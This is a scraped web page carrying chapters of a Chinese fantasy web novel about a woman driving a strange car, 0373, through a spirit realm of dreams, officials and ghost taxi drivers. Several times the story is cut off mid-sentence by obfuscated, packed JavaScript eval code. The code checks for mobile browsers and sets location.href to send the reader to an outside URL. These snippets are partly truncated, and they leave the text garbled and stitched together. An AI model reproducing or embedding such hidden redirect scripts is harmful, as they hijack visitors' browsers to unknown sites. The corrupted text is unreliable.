d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770261|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现了螺旋滑梯一样的车道,0373正在顺着螺旋车道疾驰! 苇思航近乎冷漠地操纵着车身,加速,继续加速!说她在和时间赛跑也不为过,足以覆盖灵界的梦境只够维持短暂的窗口期,就在0373甩开的身后,梦茧大厦正在恢复它原本的样子。 要是此时从外部看,只见一辆白色小汽车从21层楼高的螺旋弯道上一路狂奔,一泻千里,车灯在每个弯道处时隐时现。 梦茧大厦一排排亮着灯的窗户在高速移动的车窗外变成模糊的色块,苇思航全神贯注,保持着令人眩晕的高速,方向盘朝左打死,不时根据车身的角度微调。 车尾几乎横斜着甩出,总是在失控的边缘被将将拉回,轮胎和地面的摩擦几乎要燃起火花。 21个连续拐弯像是没有尽头,车里的人则像是被扔进了一台涡轮洗衣机。 18,19,20…… 身后看不见的阴影追了上来。 灵界的梦茧大厦重置完毕! 来不及了! 前方的坡道变成了楼梯,苇思航猛打方向,车头狠狠撞上了什么东西。 “轰——哗啦!” 巨大的声响引得楼下聚集的围观群灵纷纷抬头望去,只见一辆白车从二楼的落地窗直冲出来! 落地窗在碰触到0373车头的瞬间爆裂,碎片朝着0373的挡风玻璃飞去,像一场突如其来的冰雹,苇思航眼睛眨也不眨,仿佛隔着一场扭曲的暴雨,直直看向前方。 夜色中,梦茧大厦附近的草坪上围起了警戒线,周围停着黑色的车辆,灵管局的标识依稀可见。 他们逃出来了! 0373车身短暂地腾空,随后重重砸向地面,悬挂系统发出不堪重负的呻吟,好歹没有断成两截,足见车身强悍。早在半空,苇思航已经回正方向盘,此时连续轻踩刹车,让0373又朝前滑行了好一段距离,身后留下两道焦黑的轮胎印,直接撕裂了保养得宜的草坪,直到撞飞了有灵管局标识的围栏,这才停下。 “什么东西刚刚飞出去了……” “额滴神啊!” “是生还者吗?真的假的?” “什么车啊,这么猛?” 隔着一段距离的围观群灵交头接耳。 陌生的议论增添了实感,他们真的逃出来了! 第一个下车的是尉迟龙鸣。 “呕——”他腿软的不成样子,直接跪倒,大吐特吐起来。 含晦也解开安全带,拉开车门,走了两步。他比尉迟龙鸣好一些,还是脸色苍白,此时也急需一点新鲜空气。 反观副驾上的陆萌,安全带系的好好的,把大触像抱枕,又或像安全气囊那样,抱在胸前,神色颇为自得。他降下车窗,看着那两人幸灾乐祸,一副很有经验的样子。 “第一次坐咱们苇姐的车吧?” “嘛,习惯就好咯。” 炎热的夜风从打开的车窗里进入,苇思航侧头,望着不远处的梦茧大厦。 不久前经历的一切好像一场梦…… 还有此前33年的平凡人生。 重重呼出一口浊气,想抽一只烟,如果可以的话,好像和此刻的心境十分相配。 不过她已经戒烟很久了。 “喂,系统,多媒体是不是能用了?点首歌吧。”不管副驾上的陆萌还在,苇思航发话,把电子音按照车载系统的语音助手驱使。 “随便什么都行。” 电子音累的够戗,此时却也只能忍气吞声。 复活的电子屏闪了一下,果然切换到多媒体页面。 轻柔的音乐缓缓流淌,在驾驶舱的小空间里形成空灵的回音。 *Dreamsaremyreality梦境即我真实 Theonlykindofrealfantasy唯一真实的幻境 Illusionsaremonthing错觉本是寻常事 Itrytoliveindreams我愿沉溺梦中生 Itseemsasifit''smeanttobe恍若此生无别事* 35. 34. 割裂草坪 梦茧大厦爆发黑池魇境,其中某个失控的梦灵引发了危险的“灵坟”,一个里世界即将成型之际惊险流产,还要进一步调查才能知道魇境之中究竟发生了什么…… “主任,初步调查报告出来了。” “唔。”被唤作“主任”的男人应了一声,目光从夜色中的梦茧大厦离开,接过手下递过来的文件,迅速扫了一眼。 “B级灵坟?”他不无惊讶地重复了一遍报告上白纸黑字的评级结果。 突然爆发的灵坟已经十分少见了,多是C级D级,B级凤毛麟角. “是的。”回答提问的下级擦了擦汗。 “梦主只是一个21岁的年轻人,哪来的这么强大的精神力?” 下级苦不堪言,他哪里能知道嘛!能知道的也都写在调查报告里了…… 却还是硬着头皮,回忆着调查结果。 “梦主有强烈的自毁倾向,这是其一,此外,我们的调查员在遭到破坏的地下停车场里看到了克苏鲁魇怪的痕迹,合理怀疑是梦主反而吸收了魇怪的力量,进一步控制了魇境,最终导致了灵坟……之前有过类似的案例。” “那里世界是怎么一回事?是什么阻止了里世界的形成?你们有什么‘合理怀疑’吗?” “这个嘛……暂时没有,还需要进一步的调查。”下级的冷汗涔涔留下。 男人轻嗤一声,抬起手腕看了看表,继续挖苦道:“总不能是因为现在九点半了,梦主睡醒上班去了吧?你们调查处也是,现在才上班?” 下级一时羞愤涨红了脸:“没有的事,主任……我们派出的调查员在第一时间就来到了现场,冒着极大的危险进入灵坟深处,险些沦为邪灵,不信的话,您可以亲自问他,他们……” “哦,还有幸存者?”这倒让男人提起一些兴趣,眉毛挑了一下,“还不只一个人?” “是,是的。”下级回话,忍不住挺了挺胸膛,“调查处下属4102科两名调查员全员生还,就,就在那边!” 顺着他手指指向的方向,男人眯起眼睛,在两道刺眼的车灯光柱之下,看到此时面目全非的草坪之上,停着一辆奇怪的白色小轿车。 主驾上的苇思航回过头来,正好与不远处的男人对视。 其实她不确定对方是否在看她,劫后余生的0373亮着嚣张的远光灯,那人逆着光,只有一个发着亮的轮廓,依稀能看见他身材高大,穿着一身有灵管局标志的制服,一头白金色的头发就是全部了。 她好奇地瞪大眼睛,使劲辨认,还看到一双眼睛……红色的? 兔子变的?还是得白化病了? 对方冰冷的目光让苇思航心里不舒服,一边回瞪,一边在心里腹诽。 这人周身气场强大,一看就知身居高位,在他身边,还有另一个矮一点的身影,同样穿着制服、散发着至少厅局以上的气派,后者的姿态极是恭敬,似乎正在向前者汇报着什么。另外这人没有站在亮处,看清了他的长相,只见他唇上养着两撇油光水滑的小胡子。 “4102科的,来个人回话!”小胡子抖动着朝他们这边喊话。 “——到!处长,就来!”苇思航一瞥眼,看见车外的尉迟龙鸣浑身一凛,匆匆支撑起身子,前两步差点腿软摔倒,随后加速朝着那边跑去。 身后含晦见状,犹豫片刻,回头跟苇思航打了个招呼,也忙追了上去。 苇思航收回目光,落到仪表盘上。 熟悉的15%电量像是正在嘲笑她。 要知道她第一次从废弃停车场出发的时候电量就是这么多啊! 得,这一趟直接白忙活。 她之前不是还有29%吗?刚刚又发生什么了,这么耗电? 苇思航的心在滴血,抬起手,别的不说,先把远光灯关掉好了,能省一点是一点…… “苇姐,先别呀。”一旁,陆萌看出她的意图,笑嘻嘻地按下她的手,阻止了她。 苇思航有些意外,对上她似笑非笑的目光,反应过来,先把手缩回。 “咋了?” “没什么,想多和苇姐说说话呗。”陆萌一脸腻死人的笑容。 苇思航与她……不,“他”——对视了好一会。 车灯发出夺目的光芒,连带着整个车身都变成了不能直视的发光体,从外面往车内看去,只有一片茫茫的白光。 “你……睡了多久了?怎么还不醒?”苇思航终于开口。 像是问“陆萌”,也像是问自己。 一颗心没着没落的。 人在危险重重的魇境里,随时要应付突发情况,疲于奔命,没有功夫在意许多细节,眼下逃了出来,许多疑点便到了无法忽视的地步。 陆萌不是女人。他说自己是一个上晚班的男护士,可是刚刚过去的一整个晚上都待在梦中。 他口中说的真实身份,究竟还能相信吗? 还有,他对新世界和显灵头头是道……他从哪里知道那么多? 苇思航不得不正视自己心中的怀疑,可是不久前二人还是并肩作战的队友,患难与共的感情到底是不同的,苇思航暗想,只要陆萌解释,她就信。 可红发女人轻启朱唇,却是笑了一下反问。 “苇姐,这很重要吗?” 苇思航愣了一下。 “如果你不想说也不要紧……” 她自己都感到意外的,口气软了下来。 她突然又改变了主意,就算陆萌不解释,又能怎样? 大概是因为在一个陌生的世界里,他毕竟是她第一个认识的人,习惯了互相依靠,她可以装作什么都不知道…… 她内心已经说服了自己,移开目光,却不想陆萌正注视着她。 “我也想知道……一直待在灵界里有什么不好?” 苇思航下意识道:“梦都是要醒的。当然,当然还是现实更重要了。” “现实?”陆萌重复了一遍,轻笑出声。 车厢里那首歌已到尾声。 *Dreamsaremyreality梦境即我真实 Theonlykindofrealfantasy唯一真实的幻境* 仿佛一个滑稽的注脚般,融入此情此景。苇思航跟着陆萌侧头看向窗外,灵管局正在清点伤亡者,在本次灵坟中死去的幽灵,幸运有被找到的尸体的那些,被白布盖着,由担架抬了下来,停尸在一旁的草坪上。 这一幕让苇思航想到了,在梦魇中陆萌使用据说他的特殊能力“半梦半醒”时看到的景象——只是同样的惨剧不是发生在实界,而是在灵界中的梦茧大厦。 陆萌转头看苇思航,难得的没有笑:“这就是他们的现实——差点也成了我们的——死了就是死了。这一切都是真实发生的,你告诉我这不是现实?” 苇思航沉默半晌。 “……我觉得你在转移话题。” “……” “不想说也没事,就先不要说了。” “……唔。” 或许是吧,新的谎话他还没有编好。 “这么看来,你的特殊能力,那个什么所谓预言,根本就是个鸡肋啊!”苇思航直说了,自言自语,“看来未来是可以改变的嘛!” “……” 她的话里有一丝不易被察觉的欣喜,她曾经感到无能为力,怀疑自己是否真的能做出什么改变……她这不是,做到了? 这欣喜或许不合时宜,但这就是她的现实。 虽然不清楚她究竟是为什么依旧被困在灵界,可能说明,她此时此刻的存在是有意义的? 至于陆萌,无论如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782230|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何都想不到,苇思航的思绪会一路发散到这里。 “如果未来不可改变,就代表它就是不可知的,如果可知,就说明是能改变的。”他吝啬地给出深奥的解释,假装不经意间道:“说回来,苇姐,你的车又是怎么回事?这个电量?” 提到电量,苇思航不出所料,面容扭曲,很是痛心。 如果说大家都有“特殊能力”。她一直怀疑,她的特殊能力跟车有关来着,消耗电量兑换生命……不过还需要进一步验证一下。眼下这个可怜的电量,活不起,也死不起了……陆萌是哪壶不开提哪壶,还是故意的? 陆萌心情愉悦,趁着副驾上顺手,在主屏幕上漫无目的地划拉着,声音见死不救地发着嗲:“哎呀,灵界充电站不多见来着,梦见大厦地下这个已经被毁了,不知道接下来该去哪里呢……” “哼!不用你操心!”苇思航愤然,“我已经找好了!” 陆萌一点也不信,直到,苇思航自信满满地点开屏幕上的地图图标。 作为老司机,她在发现主屏幕能用后的第一件事就是检查车载的各项功能。 多媒体切换到地图导航页面。歌声恰好在此时停止。 看到眼前跳出的陌生地图,那一刻,似乎连底盘里都传来倒吸一口气的声音,陆萌也呆住了。 * “主任,给您介绍一下,这位是调查处4102科科长——还有他的科员。” 不远处,灵管局调查处处长,城姑苏此时正在为尉迟龙鸣和含晦引见。 他并不知道手下这两个小角色的名字,所以说到一半卡住了。 尉迟龙鸣心领神会,主动报上名:“主任您好!我是尉迟龙鸣,这位是我的科员。” 含晦又变成那个外人初见仙风道骨的模样,惜字如金一般:“在下含晦。” 城处长在一旁颔首,看着十分上道的尉迟龙鸣,表情欣慰。 灵坟啊,B级啊,活着出来的啊——他的手下!他们调查处! 灵管局下辖三大处,天天被另外两处压着打,总该他们扬眉吐气一回了吧! 尉迟龙鸣的心中也十分激动,一扫不久之前的疲态,一脸春风得意。 誓要给处长和主任留下个好印象! 灵管局下辖三大处,分别是调查处,交通处,界域处。每个处有三位平级部长,城姑苏就是调查处其中一位,算是尉迟龙鸣的顶头上司,乃是自尉迟龙鸣来灵界后见过的最大的官儿……直到见过“主任”之前。 灵管局一共九位处长,上面还有三位只存在于传说中的主任,每位都据说是精神力极其强悍的大能,不知道存在灵界多少年岁了,神秘莫测,行踪成谜。眼前这位就是其中之一。 尉迟龙鸣凭借自己优秀的官场知识储备,根据对方白金色的头发认出,这位应当是被称做“华表”的原北辙,原主任。 他的皮肤就像汉白玉一样洁白——不知道跟他被叫做“华表”是否有关联。如果说城处长看上去还相当有人味,这位原主任则根本不像会在现实中看到的样子,他有着白金色的头发,同样浅淡的眉毛,眉眼却极其深邃,作为“主任”来讲,外表看起来还相当年轻——甚至有点过于年轻了,换了尉迟龙鸣生前在办公室,完全是懒得搭理的愣头青。 他的身份没有让城处长介绍的必要,尉迟龙鸣站在他跟前,感到强大的精神力威压,大气都不敢出。 原北辙的目光在他身上停顿了一下,然后又看向含晦。 那是一双红色的眼睛。冰冷、锐利,仿佛无机质,扫视着他人身上最为隐秘的角落。尉迟龙鸣想到自己第一次面对邪灵的时候,洪水倒灌一样的恐惧和无力。 原主任抬起手挥了挥,仿佛在驱逐苍蝇,白金色的眉毛拧起来。 “臭死了。哪来一股厕所的氨水味啊?” 36. 35. 地图残卷 主任说什么都可以。 尴尬是其他人的事。 尉迟龙鸣低下头去,鼻子忍不住吸了吸。 真的有味道吗? 城处长见状,站出来打圆场。 “据我所知,应当是尉迟科长的特殊能力,对吧?尉迟科长要不介绍下……” 原北辙又摆了摆手,一副兴意阑珊,不感兴趣的样子:“得啦。” 城处长立时噤声。 原北辙举起手腕,看了一眼正在走字的手表,发话:“我最多还可以抽出五分钟。说吧。” 城处长和尉迟龙鸣私底下交换一个慌乱的眼神。 主任叫他们说什么? 原北辙态度高傲,不发一言,难道是位高权重到了一定地步,必须要让手下猜测心思才行? 城处长眼神传达过来的含义实在有限,尉迟龙鸣正琢磨着要怎么试探着开口,只听见另一个声音响起,令他措手不及——竟是含晦。 “正是您闻到的味道救了我们的命。” 尉迟龙鸣心脏停跳。 城处长两眼一黑——这人是谁来着? “……如果不是侥幸躲在厕所里,我们二人身陷灵坟,根本无法生还,此刻也就无法站在这里了。”含晦继续道,他背脊挺直,说话间毫无惧色。 “根据调查处的经验,梦魇中的厕所一定程度代表了梦境主人内心深处,这一点,也在我们在灵坟的经历里验证了。厕所对于梦主来说,有着十分特殊的意义。” 含晦的一番话虽然没有直接反驳原北辙,可也表明了不卑不亢的态度。 到了这时,尉迟龙鸣已然放弃了补救,沉声补上一句:“正是。” 光看他此时的样子,任谁都想象不到他此刻脚肚子发软。 原北辙闻声,总算又依次打量了他们两眼。 城处长轻咳一声,重又挺起胸膛。 “你们在里面看到显灵的踪迹了?”原北辙开口问,直切正题。 含晦一脸迷茫,尉迟龙鸣直言:“什么显灵?” 原北辙凉凉扫了一眼城处长,城处长又瑟缩了起来。 关于显灵和里世界,因为实际应用场景太过稀缺,最近调查处入职培训基本一笔带过,十个调查员里面八个都不知道……含晦和尉迟龙鸣显然也不是剩下那两个。 毕竟,面前站着4102科,调查处的科室数量还要远远大于这个数字……怪不得总被其他两个处诟病,这年头是个灵就能进呢…… 原北辙越过尉迟龙鸣,直接跟含晦对话:“那你们找到界楔了吗?” 闻言的二人依旧一脸迷茫,只是这次更加不敢贸然开口。 城处长主动解释,表情不太好:“主任所说的‘界楔’是针对刚生成的里世界而言,面向灵界和实界尚未闭合的松动的通道,一般在里世界中有具象的表达,可能是某种物体,某个地方……” 原北辙打断他,冲着那两人道:“不要告诉我,这次的界楔就在你们的厕所,不然,等界域处的人赶到,我得提前叮嘱他们戴上防毒面具了……城处长,你说是不是啊?” 城处长唯有点头附和,心里暗自咬牙。 本以为是来接受表彰的,谁知又是为界域处做嫁衣裳!谁不知道原北辙最是看重界域处,俨然是界域处的主任…… 即使听过了城处长的现场解释,尉迟龙鸣和含晦依旧有点没反应过来。事实上,在灵坟后期,很难说他们做了什么,其实就是在厕所等死而已啊……倘若不是苇姐…… 尉迟龙鸣脑中闪过一丝亮光。他当时在女厕,亲眼目睹苇思航像贞子一样从镜子里爬出来,如果有什么隐藏的通道…… 但是他并没有开口,除了这个只是猜想之外,还因为不能让一个局外人苇思航抢了他的风头——亲娘哩,很可能影响仕途啊! 原北辙见没人回应,知道是没人能回答他,脸上毫不掩饰冷笑。 目光在含晦身上停顿一下,他决定维持原判,调查处就是养了一班饭桶!这次果然只是侥幸而已,如果不是为了…… “五分钟到了。”他不欲多说,只是点了点自己的表壳。 “报告,重写。”他把手里的文件夹像垃圾一样随手丢给城处长,城处长的脸上顿时五颜六色。 原北辙道:“交通处和界域处的一会就到,剩下的事交给他们就好。城处长,辛苦了。” 城处长:“不,不辛苦。” 原北辙越过城处长的头顶,再次注意到不远处的小白车,刚才还不觉得,两道远光灯柱像是烈日一样耀眼,让他也虚起眼睛。原北辙冲车的方向点点头,又随口问4102那两个人:“你们刚才就是坐那辆车逃出来的?” * 车内。 “我准备一会开去这里。”苇思航指着屏幕上,一个小小的闪电标识,她推断那代表着充电站。理由是,梦茧大厦这里也有一个一样的标识。 这张地图是突然出现,内置在车内导航里的。但就像网络延迟导致加载不出来那样,只覆盖了有限的区域,双指在触控屏上缩放,就能看到围绕在这附近大片大片的空白。 因为地图上的文字有限,多是一些标识之类,所以阅读倒没有问题。 这不是一张普通的地图,而是一张灵界的地图。 附近的标识和她来时看到的路牌重合了,一条是滨河路,一条是滨河路,一条还是滨江路。这三条路如同鬼打墙一样,从梦茧大厦延伸出来,尽头也只有一个——就是梦茧大厦本厦。在地图上,苇思航在三条滨河路之外看到了一条隐秘的无名小路,看起来可以把她带去那个有充电站的目的地。 没办法,她得找地方充电,电量就是她的底气! “你在看什么啊?”苇思航忍不住问。 即使是灵界的地图,也仅仅是地图而已,难道灵界没有地图吗?有什么好稀奇的? 且看陆萌此时的反应,她表情严肃,一张脸几乎贴到屏幕上,一脸不可置信,仿佛眼前不是x德地图,而是刚刚出土的国宝文书,那股鉴宝的劲头,就差眼前举个放大镜了。 苇思航开始有点慌了:“怎,怎么了?” “苇姐……我要一辈子缠着你……” “……嘎?” 这话可不兴乱说啊,尤其是在灵界,他俩还人不人鬼不鬼的,后背顿时凉飕飕的…… 苇思航好奇起来:“这地图有什么特别的吗?” “特别。特别详细。”陆萌抹了一把脸,抬头看她,突然问:“苇姐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不等回答,他朝着0373的前窗挥舞手臂,声音清晰地指令:“车里的,熄火,下车!” 苇思航听见了。 她双手扶着方向盘,一时没有动,还在犹豫不决之际,目光透过前窗玻璃,隔空与一并走来的含晦交汇。 她辨认出含晦无声的口型,却是在说:“快跑!” “冲啊!”电子音突破空调口,发出啸音。 苇思航额头的汗滴到了眼睛里。她索性把眼镜摘了下来,好似也摘下了最后一丝顾虑,眯起眼睛看着前方,人和景物都变成模糊的色块。 狠狠踩下油门! 0373原地倒退,调整车头,出乎所有人的意料。在反应过来之前,白车朝着一个方向猛冲出去。 “拦住她!拦住她!”城处长高八度的尖叫。 车后轮在遍体鳞伤的草坪上再度犁出两道深黑的伤痕,0373朝着一个完全不可能容车通过的小巷口冲去,义无反顾地直行! 像是眼花一样,眼前的车凭空消失了。 37. 36. 司机大排档 宽阔的马路单侧延伸出四条笔直的车道,两旁种着高大挺拔的法国梧桐,跟支立的路灯差不多高,路灯投下黄色的灯光,照的地上黝黑的柏油有种皮质的润感,让人想起了它未干时的样子。夏末秋初,阔叶还没有完全变黄,一阵抖动之后,一片新叶不甘地从树顶坠落下来,正好蒙在路上那条刚刚被车碾过的死鱼眼睛上。 数不清的来历不明的死鱼四散在马路上,鱼嘴张开,鳃盖不甘地翕动,鳞片在灯光下闪着诡异的银光。不远处,一辆小轿车侧翻在一旁,在最后时刻撞到了花坛,豁口处的瓷砖四分五裂,像是孩子推倒了积木,碎瓷片间还夹杂着几朵被碾碎的月季。悬空的车轮尚未止住惯性,仍在空转,前窗上的雨刷器自动开启,不为所动地抽打着一条不幸卡在前窗上的死鱼,死鱼双目圆睁,不久后血和鳞片一起糊在玻璃上。 主驾上的女司机在冲撞的第一时间就失去了意识,安全气囊弹开,将她的上半身支起,额头上的鲜血顺着脸缓缓地流了下来,流过眼睛,仿佛两行血泪,她的手僵直地扣住方向盘,直到最后一刻还妄图掌握失控的车身。 “嗒”地一声轻响,车门自动解锁。空无一人的马路上,一个人哼着歌慢慢走近,他小心地避开地上的死鱼和瓷砖碎片,十分悠闲地打开了门,坐上副驾。一只手娴熟地在屏幕上操作着,顺手的功夫,打开了收音机。 …… “现在插播一条事故讯息,靠近梧桐路口处发生一起交通事故,现场有车辆侧翻,交通处正在赶往救援。建议附近的朋友提前绕行……” 一个亲切的女声在车内响起,来自FM101的夜行广播。年代有些久远的收音机发出轻微的电流杂音,不出所料地又炸了麦,一声超高频率的啸叫刺进苇思航的耳朵,她忙伸手,拧动音量旋钮,差点把那螺帽整个拧了下来。 声音低了下去,苇思航如释重负,老旧的收音机外壳有些发烫,漆面早已磨花,摸上去有种粗糙的颗粒感,收音机下面连着同样有些年头的出租车打表机,现在停在13这个不祥的数字上——其实是一公里起步价,话说,摇身一变灵界出租车司机的苇思航今晚还没有开张过。 正是夜深人静,梦灵重新出没的时分,比起游荡的幽灵,苇思航更偏爱前者这种客人——她现在已经完全理解了。还有许多和她一样的灵车司机正在路上揽客。 听见播报里梧桐路口发生的车祸,苇思航想到了什么,探身按下车前亮着的“空车”标识,暂停接客,转而摊开一张大大的旧旧的纸质手绘地图,开始和车内电子屏幕上的地图对照起来。 ——此时距离她从梦茧大厦的黑池梦魇中脱逃,已经过去了半个月的时间,坏消息,她真的再没醒来过,她渐渐学会了和日复一日的焦虑独处。她驾驶的0373此时外表变成了一辆朴素的黑车,与灵界永恒的夜色融为一体……一切还要从头讲起。 * 当时,梦茧大厦楼下,灵管局的城处长不怀好意地朝着小白车走去,苇思航耳边回荡着陆萌的怂恿,正因空下来的副驾惊疑不定,待看到含晦的口型无声示意她“快跑”,苇思航脑袋一热,踩下油门。 “放心,你有地图,他们追不上你。”陆萌临消失前的话语气十分笃定。 又是地图…… 来不及多想,苇思航在他的语气里感到一些别的什么。 “那你……?” “我要离开一会儿。”,不出所料,陆萌宣布。 0373重新调整车头,直直朝前冲去。如果不是地图上明明白白地画着,她怎么也想不到,梦茧大厦不远处那条小巷子能够容车通过,肉眼看着,别说车了,连人都难。 至于那些手上没有地图指引的其他人,就更不必说,于是眼睁睁看着那辆奇怪的小白车以一副不撞南墙不回头的架势直冲出去,在下一秒突兀地消失在人们眼前。 “谁有车啊?快追!” “没有啊!交通处的人来了吗?” “抄牌!先抄牌!” 空间像是被某种看不见的力量扭曲了,0373笔直而坚决地前进,竟然一举挤进了紧窄的巷道里,车身拧成了一股细绳似的,两侧的砖石墙壁紧紧挤压着车身,却始终保持着微妙的距离。 仿佛驶出一条幽暗的隧道,眼前乍见光明,苇思航把灵管局和梦茧大厦都甩在身后,一个快速的甩尾驶上主路,心跳和时速都飙升到了200。 确定后面没有人追上来,看到眼前的景象,她的眼睛蓦地睁大了。 不久前空空荡荡的灵界公路上,现在一副车水马龙的繁华景象,像极了拥堵的早高峰。 搞半天,她原先还以为只有她开车呢…… 为了汇入主路,她猛踩刹车,然而速度一时降不下来,眼看就要和前车追尾,意外的是,车身并没有撞上,0373从一溜车队中像一阵风一样穿过去了。 她是说,真的,穿过去。 好像她没有实体,只是某种能量……谁说不是? 被动从苇思航全世界路过的司机和乘客也都感到了某种异样。 “好像过去什么东西……冷飕飕的……” 热心司机道:“觉得冷嘛,小姐?那我给你把空调温度调高点啦!” “不像是空调的事儿……是不是,有鬼啊!” 出租车司机无奈:“小姐,那你是什么?” 幽灵乘客语塞:“……” “黑雾嘛,是这样的。”出租车司机十分老道地降下车窗,屋外的热气便透了进来。 苇思航一路朝前滑行,直来到车队的最前端,她这才惊觉拥堵的原因,如有实质的黑色的雾气弥漫,像某种移动的污染源,整个截断了道路的中部,车队好脾气地排成一列,一直等着这股黑雾散去。 苇思航心里叫苦不迭,刚出黑池,又入黑雾,这又是什么名堂? 她突然想起来了。 她刚从废弃停车场出来那会,好像也曾经遇到过类似的黑雾,从车尾蔓延上来,带来了后座上的不速之客女鬼…… 她顿时感到一股阴冷袭来,小小的车厢变得拥挤不堪,苇思航一瞥眼,副驾上出现了一个形容恐怖的鬼魂——不只一个,形形色色的鬼魂,车辆行驶中,那雾中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这里原来不仅仅是一个大排档,也是附近出租车司机的主要落脚点。 队伍最前端传来两个人说话的声音。 “老板,帮我看看这油卡,刚刚给车加油呢,吓我一跳……这余额怎么回事啊?” “机器刷出来是什么就是什么咯!” “不能看到收支明细吗?帮忙看看吧,不然这一天白跑了。” “谁要都给看,那后面的人怎么办?今天还有好多新人来呢,你这个不紧急,先到边上去,或者干脆出去跑车得了,还说呢,你今天日租交了吗?——下一位!” 那司机嘟囔着,虽然不满,却也无可奈何。 队伍随之朝前缩进,苇思航心里一动。 油卡?是说给车加油? 她刚才在大排档前面的停车场里看到了,除了0373之外的其他车黑乎乎的一片,都是老款的油车。 如果有油卡的话,电卡是不是也同理?她现在手里还有梦茧大厦找到的电卡呢,不知道这里能不能接着用? 她担心的0373的电量,是不是有着落了? 38. 37. 注册灵车司机 同样在队伍末尾,排在苇思航前面那人回过头,友好地与她闲聊。 “来一根吗?” 烟盒递来,明明没有嗅觉,苇思航却好像闻到了尼古丁的香味。 手指蠢蠢欲动,她抬起眼看了看眼前敬她一根烟的人,眼皮一跳,忙又落下去。 眼前的男人看起来四五十岁的年纪,很瘦,长了一张和气的脸,有一种儒雅的气质。一条长长的管子固定在他的鼻腔,另一端连接着呼吸机,导致他的声音有些沉重。那根管子似乎没什么特殊的影响,说话的同时,他也正在抽烟,黄色的焦油混杂着黑点,附着在呼吸管上,显得十分不洁。 这是一个病人,苇思航从他身上穿着的蓝色的手术服认出,他的胸口被手术刀整齐地切开了,整个大敞着,密密麻麻的牵拉器整个暴露了他的胸腔,露出了里面鲜红的肌肉筋里,给人以极强的视觉冲击。可以看到胸膛里面搏动的心脏和血管,本该是肺部的地方却是一团焦炭。 “不,不用了。”苇思航忙摆了摆手,对方这个样子,她就算想抽也不敢啊! 在灵界,苇思航既不需要睡觉,也不需要进食,但这不代表她不会感到疲惫。多谢这位大哥,她突然一下就精神了。 对方无所谓地耸了耸肩,大概被拒绝惯了,随着他的动作,整个大敞的胸腔里器官跟着他的动作震动起来,除了那颗毫无生气的黑肺。 “我叫沈威,怎么称呼?” “我叫苇思航。” 见苇思航正在看他,他主动笑着解释:“肺移植。外面正躺手术台上呢。” 外面,大概说的是现实……啊不,实界里吧。 苇思航不知道说什么好了,赞一声:“……高难度。”——或许这话应该对做手术的医生奉承才对? 初来乍到,她也想找人聊聊,迅速换了话题:“您来这儿吃饭?” “有的抽,还吃什么饭啊。”对方吐出一口烟,自己先笑了起来。 苇思航忍不住道:“都肺移植了,还抽呐?” “都到这儿的人了,反正都救不活,索性不管啦。” 好在灵界没有二手烟的问题,苇思航也闻不到,两人便你一言我一语地聊了起来。 沈威人昏迷着,还没有死透,已经开始计划今后的幽灵生活。比如,做个出租车司机。 沈威道:“你不知道,小苇啊,我们这辈人呢,就算死了也闲不住,我在这里游荡了三天三夜,不知道未来能干嘛呢……终于想明白了,当个的哥,蛮好。” “怎么说?” “年轻的时候奋斗,忙嘛,一直想出去看看,也没有机会。我还没熬到退休呢!就死了,灵界这么大,开出租能各处走,还能赚钱,还能和陌生人聊天,何乐而不为呢?” 他说着,眉飞色舞,马上紧跟着闷闷地咳嗽起来。 “我听别人说这里能登记当出租车司机,马上车就能到手,直接开走……是不是真的?” “这个嘛……我也不知道咯。”苇思航回答。 “你不也是想开车嘛?” “对……不,也不是,我是说,我自己有一台车。” 沈威惊讶:“你自己的?” 苇思航后悔自己失言,只能硬着头皮道:“对。” 沈威先是羡慕,接着又道:“等我真入土了,也要托梦给我家里人,给烧点豪车,别墅!” 那个……他好像有点误会了。 还有,这里是灵界,并不是地府,“地府”确实在灵界,属于恒灵之地,在地图上,大概是西南方向……扯远了。 为了避免误会越来越深,苇思航澄清道:“其实我也是梦灵来的。” 沈威闻言惊讶了下:“可你不是说,你也在灵界好几天了吗?” “是啊……” “明白了,你和我一样。”沈威恍然大悟,“车祸昏迷了,躺医院呢?多久了?是不是植物人?” “……”真是谢谢您了。 想到此处,苇思航不禁也有了几分感伤。她现在确实是这么怀疑的。 她一直不醒,是不是代表实界里的自己出了什么不好的事情? 说起实界——专业术语她是用的越来越溜了——关于自己的过往,她努力回想,脑中却一片模糊,只能零星想起几个片段。 她叫苇思航,三十三岁,公司坐班的——那是个什么工作来着?什么公司?她在公司里哪个部门? 她竟都说不上来。 那种感觉怎么说呢,就好像你做完一个无比真实的梦境,醒来后怅然若失,却无从忆起…… 对她的沉默,沈威表示理解,拍拍她的肩头安慰:“看开点吧。” 